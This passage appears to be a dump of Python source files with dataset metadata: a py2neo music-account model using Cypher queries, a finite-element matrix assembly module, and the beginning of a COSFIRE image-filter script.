(you:OnlineMusicAccount)<-[:wasAssociatedWith]-(n)\n (they:OnlineMusicAccount)<-[:wasAssociatedWith]-(n)\n WHERE you.username = {username} AND you <> they\n RETURN they.username AS similar_user\n \"\"\"\n\n return graph.cypher.execute(query, username=self.username)\n\n def get_other_users(self):\n # Find three users who are most similar to the logged-in user\n # based on the searches\n query = \"\"\"\n MATCH (user:OnlineMusicAccount)\n WHERE user.username <> {username}\n RETURN user.username AS similar_user\n \"\"\"\n\n return graph.cypher.execute(query, username=self.username)\n\n def get_other_users2(self):\n # Find three users who are most similar to the logged-in user\n # based on tags they've both blogged about.\n query = \"\"\"\n MATCH (they:OnlineMusicAccount)<-[:wasAssociatedWith]-(n)-[:wasAssociatedWith]->(you:OnlineMusicAccount {username: {username} })\n WHERE they<>you\n RETURN they.username AS users, COUNT(n) AS entities\n ORDER BY entities DESC\n \"\"\"\n return graph.cypher.execute(query, username=self.username)\n\n\n #def get_commonality_of_user(self, other):\n # Find how many of the logged-in user's posts the other user\n # has liked and which tags they've both blogged about.\n #query = \"\"\"\n #MATCH (they:OnlineMusicAccount {username: {they} })\n #MATCH (you:OnlineMusicAccount {username: {you} })\n #OPTIONAL MATCH (they)-[:CREATED]->(n)<-[:CREATED]-(you)\n #RETURN COUNT(n) AS entities, n as entity, they as user\n #\"\"\"\n\n #return graph.cypher.execute(query, they=other.username, you=self.username)\n\n def add_node(self, stateCreateR, stateCreateO, file, newSound):\n print(stateCreateR, stateCreateO, file, newSound)\n g = readOntology.writeRDF(self.username, stateCreateR, stateCreateO, file, newSound)\n return g\n\ndef get_todays_recent_posts():\n query = \"\"\"\n MATCH (user:OnlineMusicAccount)<-[:wasAssociatedWith]-(n)\n WHERE n.date = {today}\n RETURN user.username AS username, n\n ORDER BY n.timestamp DESC LIMIT 5\n \"\"\"\n\n return graph.cypher.execute(query, today=date())\n\ndef fill_activities():\n query = \"\"\"\n MATCH (user:OnlineMusicAccount)<-[:wasAssociatedWith]-(n)\n RETURN n.description\n \"\"\"\n return graph.cypher.execute(query)\n\ndef fill_objects():\n query = \"\"\"\n MATCH (n:OBJECT) RETURN n.description\n \"\"\"\n return graph.cypher.execute(query)\n\ndef timestamp():\n epoch = datetime.utcfromtimestamp(0)\n now = datetime.now()\n delta = now - epoch\n return delta.total_seconds()\n\ndef date():\n return datetime.now().strftime('%Y-%m-%d')\n\ndef createLicenceNodes (task, permition, user, audiofile):\n\n ipActionNode = Node(\"ac:IPAction\", date=\" \", description = task)\n graph.create(ipActionNode)\n\n licenceOwner = Node(\"mvco:Creator\", date=\" \")\n graph.create(licenceOwner)\n\n permitionNode = Node(\"mvco:Permition\", date=\" \", description = permition)\n graph.create(permitionNode)\n\n issuedByRel = Relationship(permitionNode, \"mvco:issuedBy\", licenceOwner)\n graph.create(issuedByRel)\n\n permRel = Relationship(permitionNode, \"mvco:permitsAction\", ipActionNode)\n graph.create(permRel)\n\n actedOverRel = Relationship(ipActionNode, \"mvco:actedOver\", audiofile)\n graph.create(actedOverRel)\n\n actedByRel = Relationship(ipActionNode, \"mvco:actedBy\", user)\n graph.create(actedByRel)", "sub_path": "app/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 11001, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "py2neo.Graph", "line_number": 17, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 30, "usage_type": "call"}, {"api_name": "passlib.hash.bcrypt.encrypt", "line_number": 30, "usage_type": "call"}, {"api_name": "passlib.hash.bcrypt", "line_number": 30, "usage_type": "name"}, {"api_name": "py2neo.Relationship", "line_number": 35, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 37, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 39, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 42, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 44, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 47, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 49, "usage_type": "call"}, {"api_name": "passlib.hash.bcrypt.verify", "line_number": 59, "usage_type": "call"}, {"api_name": "passlib.hash.bcrypt", "line_number": 59, "usage_type": "name"}, {"api_name": "py2neo.Node", "line_number": 82, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 84, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 97, "usage_type": "call"}, {"api_name": "queryService.query", "line_number": 100, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 109, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 111, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 122, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 125, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 127, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 136, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 145, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 147, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 157, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 165, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 167, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 179, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 188, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 190, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 202, "usage_type": "call"}, {"api_name": "queryService.query", "line_number": 205, "usage_type": "call"}, {"api_name": "queryService.query", "line_number": 212, "usage_type": "call"}, {"api_name": "queryService.complexQuery", "line_number": 218, "usage_type": "call"}, {"api_name": "readOntology.writeRDF", "line_number": 271, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 298, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 298, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 299, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 299, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 304, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 304, "usage_type": "name"}, {"api_name": "py2neo.Node", "line_number": 308, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 311, "usage_type": "call"}, {"api_name": "py2neo.Node", "line_number": 314, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 317, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 320, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 323, "usage_type": "call"}, {"api_name": "py2neo.Relationship", "line_number": 326, "usage_type": "call"}]} {"seq_id": "276450643", "text": "from __future__ import print_function\nimport gc, sys #, os\n#from copy import deepcopy\nfrom warnings import warn\nfrom time import time\nimport numpy as np\nfrom scipy.sparse import coo_matrix, csr_matrix, csc_matrix\n\nfrom ._LowLevelAssembly_ import _LowLevelAssembly_ #, _LowLevelAssemblyExplicit_, _LowLevelAssemblyLaplacian_\n#from ._LowLevelAssembly_ import _LowLevelAssembly_Par_, _LowLevelAssemblyExplicit_Par_\n\nfrom .SparseAssemblyNative import SparseAssemblyNative, SparseAssemblyNativeCSR_RecomputeDataIndex #, SparseAssemblyNativeCSR\nfrom .RHSAssemblyNative import RHSAssemblyNative\n#from .ComputeSparsityPattern import ComputeSparsityPattern\n\n# PARALLEL PROCESSING ROUTINES\n#import multiprocessing\n#import Florence.ParallelProcessing.parmap as parmap\n\n__all__ = ['Assemble', 'AssembleRobinForces','AssembleForces']\n\n#---------------------------------------------------------------------------------------------------#\n#------------------------ ASSEMBLY ROUTINE FOR INTERNAL TRACTION FORCES ----------------------------#\n#---------------------------------------------------------------------------------------------------#\ndef Assemble(fem_solver, function_spaces, formulation, mesh, materials, boundary_condition, Eulerx):\n\n if fem_solver.has_low_level_dispatcher:\n return LowLevelAssembly(fem_solver, function_spaces, formulation, mesh, materials, \n boundary_condition, Eulerx)\n else:\n if mesh.nelem <= 600000:\n return AssemblySmall(fem_solver, function_spaces, formulation, mesh, materials, \n boundary_condition, Eulerx)\n elif mesh.nelem > 600000:\n print(\"Larger than memory system. Dask on disk parallel assembly is turned on\")\n return OutofCoreAssembly(fem_solver, function_spaces[0], formulation, mesh, materials, \n boundary_condition, Eulerx)\n\n\ndef LowLevelAssembly(fem_solver, function_spaces, formulation, mesh, materials, boundary_condition, \n Eulerx):\n\n t_assembly = time()\n\n for imat in range(len(materials)):\n if not materials[imat].has_low_level_dispatcher:\n raise RuntimeError(\"Cannot dispatch to low level module since material {} does not support it\".format(type(material).__name__))\n\n # HACK TO DISPATCH TO EFFICIENT MASS MATRIX COMUTATION\n ll_failed = False\n M = []\n if fem_solver.analysis_type != \"static\" and fem_solver.is_mass_computed is False:\n try:\n t_mass_assembly = time()\n from Kuru.VariationalPrinciple._MassIntegrand_ import __TotalConstantMassIntegrand__\n if fem_solver.recompute_sparsity_pattern:\n M, I_mass, J_mass, V_mass = __TotalConstantMassIntegrand__(mesh, function_spaces[0], \n formulation, fem_solver.mass_type)\n if fem_solver.mass_type == \"consistent\":\n M = csr_matrix((V_mass,(I_mass,J_mass)),\n shape=((formulation.nvar*mesh.points.shape[0],\n formulation.nvar*mesh.points.shape[0])),dtype=np.float64)\n else:\n M, V_mass = __TotalConstantMassIntegrand__(mesh, function_spaces[0],\n formulation, fem_solver.mass_type, fem_solver.recompute_sparsity_pattern,\n fem_solver.squeeze_sparsity_pattern, fem_solver.indices, fem_solver.indptr,\n fem_solver.data_global_indices, fem_solver.data_local_indices)\n if fem_solver.mass_type == \"consistent\":\n M = csr_matrix((V_mass,fem_solver.indices,fem_solver.indptr),\n shape=((formulation.nvar*mesh.points.shape[0],\n formulation.nvar*mesh.points.shape[0])),dtype=np.float64)\n if M is not None:\n fem_solver.is_mass_computed = True\n t_mass_assembly = time() - t_mass_assembly\n print(\"Assembled mass matrix. Time elapsed was {} seconds\".format(t_mass_assembly))\n except ImportError:\n # CONTINUE DOWN\n warn(\"Low level mass assembly not available. Falling back to python version\")\n ll_failed = True\n\n if fem_solver.parallel:\n stiffness, T, mass = ImplicitParallelLauncher(fem_solver, function_spaces[0], formulation, \n mesh, materials, Eulerx)\n else:\n stiffness, T, mass = _LowLevelAssembly_(fem_solver, function_spaces[0], formulation, mesh, \n materials, Eulerx)\n\n # SET FLAG AGAIN - NECESSARY\n if ll_failed:\n if mass is not None:\n fem_solver.is_mass_computed = True\n else:\n mass = M\n\n fem_solver.assembly_time = time() - t_assembly\n\n return stiffness, T[:,None], mass\n\n\ndef AssemblySmall(fem_solver, function_spaces, formulation, mesh, materials, boundary_condition, Eulerx):\n\n t_assembly = time()\n\n # GET MESH DETAILS\n C = mesh.InferPolynomialDegree() - 1\n nvar = formulation.nvar\n ndim = formulation.ndim\n nelem = mesh.nelem\n nodeperelem = mesh.elements.shape[1]\n ndof = nodeperelem*nvar\n local_capacity = ndof*ndof\n\n if fem_solver.recompute_sparsity_pattern is False:\n indices, indptr = fem_solver.indices, fem_solver.indptr\n if fem_solver.squeeze_sparsity_pattern is False:\n data_global_indices = fem_solver.data_global_indices\n data_local_indices = fem_solver.data_local_indices\n\n if fem_solver.recompute_sparsity_pattern:\n # ALLOCATE VECTORS FOR SPARSE ASSEMBLY OF STIFFNESS MATRIX - CHANGE TYPES TO INT64 FOR DoF > 1e09\n I_stiffness=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.int32)\n J_stiffness=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.int32)\n V_stiffness=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.float64)\n\n I_mass=[]; J_mass=[]; V_mass=[]\n if fem_solver.analysis_type !='static' and fem_solver.is_mass_computed is False:\n # ALLOCATE VECTORS FOR SPARSE ASSEMBLY OF MASS MATRIX - CHANGE TYPES TO INT64 FOR DoF > 1e09\n I_mass=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.int32)\n J_mass=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.int32)\n V_mass=np.zeros(int((nvar*nodeperelem)**2*nelem),dtype=np.float64)\n else:\n V_stiffness=np.zeros(indices.shape[0],dtype=np.float64)\n if fem_solver.analysis_type !='static' and fem_solver.is_mass_computed is False:\n V_mass=np.zeros(indices.shape[0],dtype=np.float64)\n\n T = np.zeros((mesh.points.shape[0]*nvar,1),np.float64)\n\n mass = []\n\n if fem_solver.parallel:\n # COMPUATE ALL LOCAL ELEMENTAL MATRICES (STIFFNESS, MASS, INTERNAL & EXTERNAL TRACTION FORCES)\n ParallelTuple = parmap.map(formulation,np.arange(0,nelem,dtype=np.int32),\n function_spaces[0], mesh, materials, fem_solver, Eulerx, processes= int(multiprocessing.cpu_count()/2))\n\n for iset in range(len(materials)):\n material = materials[iset]\n for elem in material.element_set:\n\n if fem_solver.parallel:\n # UNPACK PARALLEL TUPLE VALUES\n I_stiff_elem = ParallelTuple[elem][0]; J_stiff_elem = ParallelTuple[elem][1]; V_stiff_elem = ParallelTuple[elem][2]\n t = ParallelTuple[elem][3]; f = ParallelTuple[elem][4]\n I_mass_elem = ParallelTuple[elem][5]; J_mass_elem = ParallelTuple[elem][6]; V_mass_elem = ParallelTuple[elem][6]\n\n else:\n # COMPUATE ALL LOCAL ELEMENTAL MATRICES (STIFFNESS, MASS, INTERNAL TRACTION FORCES )\n I_stiff_elem, J_stiff_elem, V_stiff_elem, t, \\\n I_mass_elem, J_mass_elem, V_mass_elem = formulation.GetElementalMatrices(elem,\n function_spaces[0], mesh, material, fem_solver, Eulerx)\n\n if fem_solver.recompute_sparsity_pattern:\n # SPARSE ASSEMBLY - STIFFNESS MATRIX\n SparseAssemblyNative(I_stiff_elem,J_stiff_elem,V_stiff_elem,I_stiffness,J_stiffness,V_stiffness,\n elem,nvar,nodeperelem,mesh.elements)\n\n if fem_solver.analysis_type != 'static' and fem_solver.is_mass_computed==False:\n # SPARSE ASSEMBLY - MASS MATRIX\n SparseAssemblyNative(I_mass_elem,J_mass_elem,V_mass_elem,I_mass,J_mass,V_mass,\n elem,nvar,nodeperelem,mesh.elements)\n\n else:\n if fem_solver.squeeze_sparsity_pattern:\n # SPARSE ASSEMBLY - STIFFNESS MATRIX\n SparseAssemblyNativeCSR_RecomputeDataIndex(mesh,V_stiff_elem,indices,indptr,V_stiffness,elem,nvar)\n\n if fem_solver.analysis_type != 'static' and fem_solver.is_mass_computed==False:\n # SPARSE ASSEMBLY - MASS MATRIX\n SparseAssemblyNativeCSR_RecomputeDataIndex(mesh,V_mass_elem,indices,indptr,V_mass,elem,nvar)\n else:\n # SPARSE ASSEMBLY - STIFFNESS MATRIX\n V_stiffness[data_global_indices[elem*local_capacity:(elem+1)*local_capacity]] \\\n += V_stiff_elem[data_local_indices[elem*local_capacity:(elem+1)*local_capacity]]\n\n if fem_solver.analysis_type != 'static' and fem_solver.is_mass_computed==False:\n # SPARSE ASSEMBLY - MASS MATRIX\n V_mass[data_global_indices[elem*local_capacity:(elem+1)*local_capacity]] \\\n += V_mass_elem[data_local_indices[elem*local_capacity:(elem+1)*local_capacity]]\n\n # INTERNAL TRACTION FORCE ASSEMBLY\n # for iterator in range(0,nvar):\n # T[mesh.elements[elem,:]*nvar+iterator,0]+=t[iterator::nvar,0]\n RHSAssemblyNative(T,t,elem,nvar,nodeperelem,mesh.elements)\n\n\n if fem_solver.parallel:\n del ParallelTuple\n gc.collect()\n\n if fem_solver.recompute_sparsity_pattern:\n stiffness = coo_matrix((V_stiffness,(I_stiffness,J_stiffness)),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])),dtype=np.float64).tocsr()\n\n # GET STORAGE/MEMORY DETAILS\n fem_solver.spmat = stiffness.data.nbytes/1024./1024.\n fem_solver.ijv = (I_stiffness.nbytes + J_stiffness.nbytes + V_stiffness.nbytes)/1024./1024.\n\n del I_stiffness, J_stiffness, V_stiffness\n gc.collect()\n\n if fem_solver.analysis_type != 'static' and fem_solver.is_mass_computed==False:\n mass = csr_matrix((V_mass,(I_mass,J_mass)),shape=((nvar*mesh.points.shape[0],\n nvar*mesh.points.shape[0])),dtype=np.float64)\n fem_solver.is_mass_computed = True\n\n else:\n stiffness = csr_matrix((V_stiffness,indices,indptr),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])))\n\n # GET STORAGE/MEMORY DETAILS\n fem_solver.spmat = stiffness.data.nbytes/1024./1024.\n fem_solver.ijv = (indptr.nbytes + indices.nbytes + V_stiffness.nbytes)/1024./1024.\n\n if fem_solver.analysis_type != 'static' and fem_solver.is_mass_computed==False:\n mass = csr_matrix((V_mass,indices,indptr),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])))\n fem_solver.is_mass_computed = True\n\n fem_solver.assembly_time = time() - t_assembly\n return stiffness, T, mass\n\n#----------------------------------------------------------------------------------------------------------------#\n#------------------------------- ASSEMBLY ROUTINE FOR EXTERNAL TRACTION FORCES ----------------------------------#\n#----------------------------------------------------------------------------------------------------------------#\n\n#------------------------------- ASSEMBLY ROUTINE FOR EXTERNAL PRESSURE FORCES ----------------------------------#\ndef AssembleRobinForces(boundary_condition, mesh, material, function_spaces, fem_solver, Eulerx, type_load):\n \"\"\"Compute/assemble traction (follower)\"\"\"\n\n ndim = mesh.InferSpatialDimension()\n nvar = material.nvar\n\n if type_load == 'pressure':\n if boundary_condition.pressure_flags.shape[0] == mesh.points.shape[0]:\n #boundary_condition.robin_data_applied_at = \"node\"\n raise ValueError(\"Robin boundary forces (pressure) applied at nodes\")\n elif type_load == 'spring':\n if boundary_condition.spring_flags.shape[0] == mesh.points.shape[0]:\n #boundary_condition.robin_data_applied_at = \"node\"\n raise ValueError(\"Robin boundary forces (spring) applied at nodes\")\n elif type_load == 'connector':\n if ndim == 2:\n if boundary_condition.connector_elements.shape[1] != 2*mesh.edges.shape[1]:\n raise ValueError(\"Robin boundary connector should be compose by two boundary elements\")\n else:\n if boundary_condition.connector_elements.shape[1] != 2*mesh.faces.shape[1]:\n raise ValueError(\"Robin boundary connector should be compose by two boundary elements\")\n else:\n raise ValueError(\"Load {} not unserstood. Just spring or pressure.\".format(type_load))\n\n if not isinstance(function_spaces,tuple):\n raise ValueError(\"Boundary functional spaces not available for computing pressure stiffness\")\n else:\n # CHECK IF A FUNCTION SPACE FOR BOUNDARY EXISTS - SAFEGAURDS AGAINST FORMULATIONS THAT DO NO PROVIDE ONE\n has_boundary_spaces = False\n for fs in function_spaces:\n if ndim == 3 and fs.ndim == 2:\n has_boundary_spaces = True\n break\n elif ndim == 2 and fs.ndim == 1:\n has_boundary_spaces = True\n break\n if not has_boundary_spaces:\n from Kuru import QuadratureRule, FunctionSpace\n # COMPUTE BOUNDARY FUNCTIONAL SPACES\n p = mesh.InferPolynomialDegree()\n bquadrature = QuadratureRule(optimal=3, norder=2*p+1,\n mesh_type=mesh.boundary_element_type, is_flattened=False)\n bfunction_space = FunctionSpace(mesh.CreateDummyLowerDimensionalMesh(),\n bquadrature, p=p, equally_spaced=mesh.IsEquallySpaced, use_optimal_quadrature=False)\n function_spaces = (function_spaces[0],bfunction_space)\n\n if type_load == 'pressure':\n from .RobinForces import StaticPressureForces\n if boundary_condition.analysis_type == \"static\":\n if fem_solver.recompute_sparsity_pattern:\n I_robin, J_robin, V_robin, F_robin = StaticPressureForces(boundary_condition,\n mesh, material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = coo_matrix((V_robin,(I_robin,J_robin)),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])),dtype=np.float64).tocsr()\n else:\n V_robin, F_robin = StaticPressureForces(boundary_condition, mesh,\n material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = csr_matrix((V_robin,fem_solver.indices,fem_solver.indptr),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])))\n\n elif boundary_condition.analysis_type == \"dynamic\":\n raise ValueError(\"Not implemented yet\")\n\n return K_robin, F_robin\n\n if type_load == 'spring':\n from .RobinForces import StaticSpringForces\n if boundary_condition.analysis_type == \"static\":\n if fem_solver.recompute_sparsity_pattern:\n I_robin, J_robin, V_robin, F_robin = StaticSpringForces(boundary_condition,\n mesh, material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = coo_matrix((V_robin,(I_robin,J_robin)),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])),dtype=np.float64).tocsr()\n else:\n V_robin, F_robin = StaticSpringForces(boundary_condition, mesh,\n material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = csr_matrix((V_robin,fem_solver.indices,fem_solver.indptr),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])))\n\n elif boundary_condition.analysis_type == \"dynamic\":\n raise ValueError(\"Not implemented yet\")\n\n return K_robin, F_robin\n\n if type_load == 'connector':\n from .RobinForces import StaticConnectorForces\n if boundary_condition.analysis_type == \"static\":\n if fem_solver.recompute_sparsity_pattern:\n I_robin, J_robin, V_robin, F_robin = StaticConnectorForces(boundary_condition,\n mesh, material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = coo_matrix((V_robin,(I_robin,J_robin)),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])),dtype=np.float64).tocsr()\n else:\n V_robin, F_robin = StaticConnectorForces(boundary_condition, mesh,\n material, function_spaces[-1], fem_solver, Eulerx)\n K_robin = csr_matrix((V_robin,fem_solver.indices,fem_solver.indptr),\n shape=((nvar*mesh.points.shape[0],nvar*mesh.points.shape[0])))\n\n elif boundary_condition.analysis_type == \"dynamic\":\n raise ValueError(\"Not implemented yet\")\n\n return K_robin, F_robin\n\n#------------------------------- ASSEMBLY ROUTINE FOR EXTERNAL TRACTION FORCES ----------------------------------#\n\ndef AssembleForces(boundary_condition, mesh, materials, function_spaces,\n compute_traction_forces=True, compute_body_forces=False):\n\n Ft = np.zeros((mesh.points.shape[0]*materials[0].nvar,1))\n Fb = np.zeros((mesh.points.shape[0]*materials[0].nvar,1))\n\n if compute_body_forces:\n Fb = AssembleBodyForces(boundary_condition, mesh, materials, function_spaces[0])\n if compute_traction_forces:\n Ft = AssembleExternalTractionForces(boundary_condition, mesh, materials[0], function_spaces[-1])\n\n return Ft + Fb\n\ndef AssembleExternalTractionForces(boundary_condition, mesh, material, function_space):\n\n\n nvar = material.nvar\n ndim = material.ndim\n ngauss = function_space.AllGauss.shape[0]\n\n if ndim == 2:\n faces = mesh.edges\n nodeperelem = mesh.edges.shape[1]\n else:\n faces = mesh.faces\n nodeperelem = mesh.faces.shape[1]\n\n if boundary_condition.is_applied_neumann_shape_functions_computed is False:\n N = np.zeros((nodeperelem*nvar,nvar,ngauss))\n for i in range(nvar):\n N[i::nvar,i,:] = function_space.Bases\n boundary_condition.__Nt__ = N\n boundary_condition.is_applied_neumann_shape_functions_computed = True\n else:\n N = boundary_condition.__Nt__\n\n\n F = np.zeros((mesh.points.shape[0]*nvar,1))\n for face in range(faces.shape[0]):\n if boundary_condition.neumann_flags[face] == True:\n ElemTraction = boundary_condition.applied_neumann[face,:]\n external_traction = np.einsum(\"ijk,j,k->ik\",N,ElemTraction,function_space.AllGauss[:,0]).sum(axis=1)\n RHSAssemblyNative(F,np.ascontiguousarray(external_traction[:,None]),face,nvar,nodeperelem,faces)\n\n return F\n\n", "sub_path": "Kuru/FiniteElements/Assembly/Assembly.py", "file_name": "Assembly.py", "file_ext": "py", "file_size_in_byte": 19129, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}, {"api_name": "Kuru.VariationalPrinciple._MassIntegrand_.__TotalConstantMassIntegrand__", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 62, "usage_type": "attribute"}, {"api_name": "Kuru.VariationalPrinciple._MassIntegrand_.__TotalConstantMassIntegrand__", "line_number": 64, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 71, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 78, "usage_type": "call"}, {"api_name": "_LowLevelAssembly_._LowLevelAssembly_", "line_number": 85, "usage_type": "call"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}, {"api_name": "time.time", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 134, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 136, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 142, "usage_type": "attribute"}, {"api_name": "SparseAssemblyNative.SparseAssemblyNative", "line_number": 163, "usage_type": "call"}, {"api_name": "SparseAssemblyNative.SparseAssemblyNative", "line_number": 168, "usage_type": "call"}, {"api_name": "SparseAssemblyNative.SparseAssemblyNativeCSR_RecomputeDataIndex", "line_number": 174, "usage_type": "call"}, {"api_name": "SparseAssemblyNative.SparseAssemblyNativeCSR_RecomputeDataIndex", "line_number": 178, "usage_type": "call"}, {"api_name": "RHSAssemblyNative.RHSAssemblyNative", "line_number": 192, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 197, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 201, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 208, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 212, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 216, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 224, "usage_type": "call"}, {"api_name": "time.time", "line_number": 228, "usage_type": "call"}, {"api_name": "Kuru.QuadratureRule", "line_number": 276, "usage_type": "call"}, {"api_name": "Kuru.FunctionSpace", "line_number": 278, "usage_type": "call"}, {"api_name": "RobinForces.StaticPressureForces", "line_number": 286, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 289, "usage_type": "attribute"}, {"api_name": "RobinForces.StaticPressureForces", "line_number": 291, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 293, "usage_type": "call"}, {"api_name": "RobinForces.StaticSpringForces", "line_number": 305, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 308, "usage_type": "attribute"}, {"api_name": "RobinForces.StaticSpringForces", "line_number": 310, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 312, "usage_type": "call"}, {"api_name": "RobinForces.StaticConnectorForces", "line_number": 324, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 327, "usage_type": "attribute"}, {"api_name": "RobinForces.StaticConnectorForces", "line_number": 329, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 378, "usage_type": "call"}, {"api_name": "numpy.einsum", "line_number": 382, "usage_type": "call"}, {"api_name": "RHSAssemblyNative.RHSAssemblyNative", "line_number": 383, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 383, "usage_type": "call"}]} {"seq_id": "452402498", "text": "import cosfire as c\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nproto = np.asarray(Image.open('edge.png').convert('L'), dtype=np.float64)\nsubject = np.asarray(Image.open('rino.pgm').convert('L'), dtype=np.float64)\n(cx, cy) = (50,50)\n\ncosfire = c.COSFIRE(\n\t\tc.CircleStrategy(\"DoGFilter\", (1,1), prototype=proto, center=(cx,cy), rhoList=range(0,11,2), sigma0=2, alpha=0.3,\n\t\trotationInvariance = np.arange(24)/12*np.pi, scaleInvariance=[1])\n\t 